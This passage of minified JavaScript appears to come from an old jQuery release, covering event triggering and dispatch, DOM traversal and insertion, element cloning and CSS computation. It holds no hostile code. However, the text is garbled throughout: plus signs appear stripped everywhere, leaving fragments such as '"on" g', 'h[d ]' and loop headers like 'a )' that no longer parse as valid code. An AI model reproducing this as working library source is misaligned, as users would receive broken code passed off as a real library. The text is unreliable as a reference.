s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on" g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)" m.join("\\.(?:.*\\.|)") "(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c g)||(u=u.parentNode);u;u=u.parentNode){h.push(u),f=u}f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d ])&&!n.isPropagationStopped()){n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault()}if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n ])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a ])&&!e.isImmediatePropagationStopped()){(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type)){for(;u!=this;u=u.parentNode||this){if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a ){i=n[a],r=i.selector " ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i)}o.length&&s.push({elem:u,handlers:o})}}}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando]){return e}var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--){n=r[t],e[n]=o[n]}return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX (o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY (o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus){try{return this.focus(),!1}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on" t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n &&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e){this.on(a,n,r,e[a],o)}return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1){i=ot}else{if(!i){return this}}return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid )),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj){return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType "." i.namespace:i.origType,i.selector,i.handler),this}if("object"==typeof e){for(o in e){this.off(o,n,e[o])}return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e){return this.pushStack(x(e).filter(function(){for(t=0;i>t;t ){if(x.contains(r[t],this)){return !0}}}))}for(t=0;i>t;t ){x.find(e,r[t],n)}return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector " " e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t ){if(x.contains(this,n[t])){return !0}}})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return !!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r ){for(n=this[r];n&&n!==t;n=n.parentNode){if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}}}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do{e=e[t]}while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not(" e ")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r))){1===o.nodeType&&i.push(o),o=o[n]}return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling){1===e.nodeType&&e!==t&&n.push(e)}return n}});function ft(e,t,n){if(x.isFunction(t)){return x.grep(e,function(e,r){return !!t.call(e,r,e)!==n})}if(t.nodeType){return x.grep(e,function(e){return e===t!==n})}if("string"==typeof t){if(st.test(t)){return x.filter(t,e,n)}t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement){while(t.length){n.createElement(t.pop())}}return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d ="(?:null|\d )"/g,mt=RegExp("<(?:" ht ")[\\s/>]","i"),yt=/^\s /,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:] )[^>]*)\/>/gi,bt=/<([\w:] )/,xt=/<tbody/i,wt=/<|?\w ;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i ){t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n))}return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t ){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild){e.removeChild(e.firstChild)}e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t){return 1===n.nodeType?n.innerHTML.replace(gt,""):t}if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r ){n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e)}n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t ],i=e[t ];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h)){return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)})}if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u ){i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u)}if(o){for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u ){i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")))}}l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type")) "/" e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r ){x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s){for(r=0,i=s[n].length;i>r;r ){x.event.add(t,n,s[n][r])}}}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events){x.removeEvent(t,r,i.handle)}t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r ){n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get())}return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s){for(s=[],r=e.childNodes||e;null!=(o=r[a]);a ){!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n))}}return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<" e.nodeName ">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e))){for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]); a){r[a]&&Ot(i,r[a])}}if(t){if(n){for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a ){Mt(i,r[a])}}else{Mt(e,o)}}return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h ){if(o=e[h],o||0===o){if("object"===x.type(o)){x.merge(d,o.nodeType?[o]:o)}else{if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1] o.replace(vt,"<$1></$2>") c[2],i=c[0];while(i--){s=s.lastChild}if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--){x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild){s.removeChild(s.firstChild)}s=f.lastChild}else{d.push(t.createTextNode(o))}}}}s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h ]){if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i ]){kt.test(o.type||"")&&n.push(o)}}}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s ){if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events){for(r in a.events){f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle)}}u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push(o))}}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e)){return this.each(function(t){x(this).wrapAll(e.call(this,t))})}if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType){e=e.firstChild}return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]). )/,Ut=/^margin/,Vt=RegExp("^(" w ")(.*)$","i"),Yt=RegExp("^(" w ")(?!px)[a-z%] $","i"),Jt=RegExp("^([ -])=(" w ")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e){return t}var n=t.charAt(0).toUpperCase() t.slice(1),r=t,i=en.length;while(i--){if(t=en[i] n,t in e){return t}}return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a ){r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))))}for(a=0;s>a;a ){r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"))}return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s ){a[n[s]]=x.css(e,n[s],!1,o)}return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t){return s&&"get" in s&&(o=s.get(e,!1,i))!==t?o:u[n]}if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1] 1)*o[2] parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r ="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set" in s&&(r=s.set(e,r,i))===t))){try{u[n]=r}catch(c){}}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get" in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft "px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0)) (r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o =2){"margin"===n&&(a =x.css(e,n Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding" Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border" Zt[o] "Width",!0,i))):(a =x.css(e,"padding" Zt[o],!0,i),"padding"!==n&&(a =x.css(e,"border" Zt[o] "Width",!0,i)))}return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i)){return i}r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i an(e,t,n||(a?"border":"content"),r,o) "px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt[e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?0.01*parseFloat(RegExp.$1) "":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity=" 100*t ")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o " " i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n] "px":r):t}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 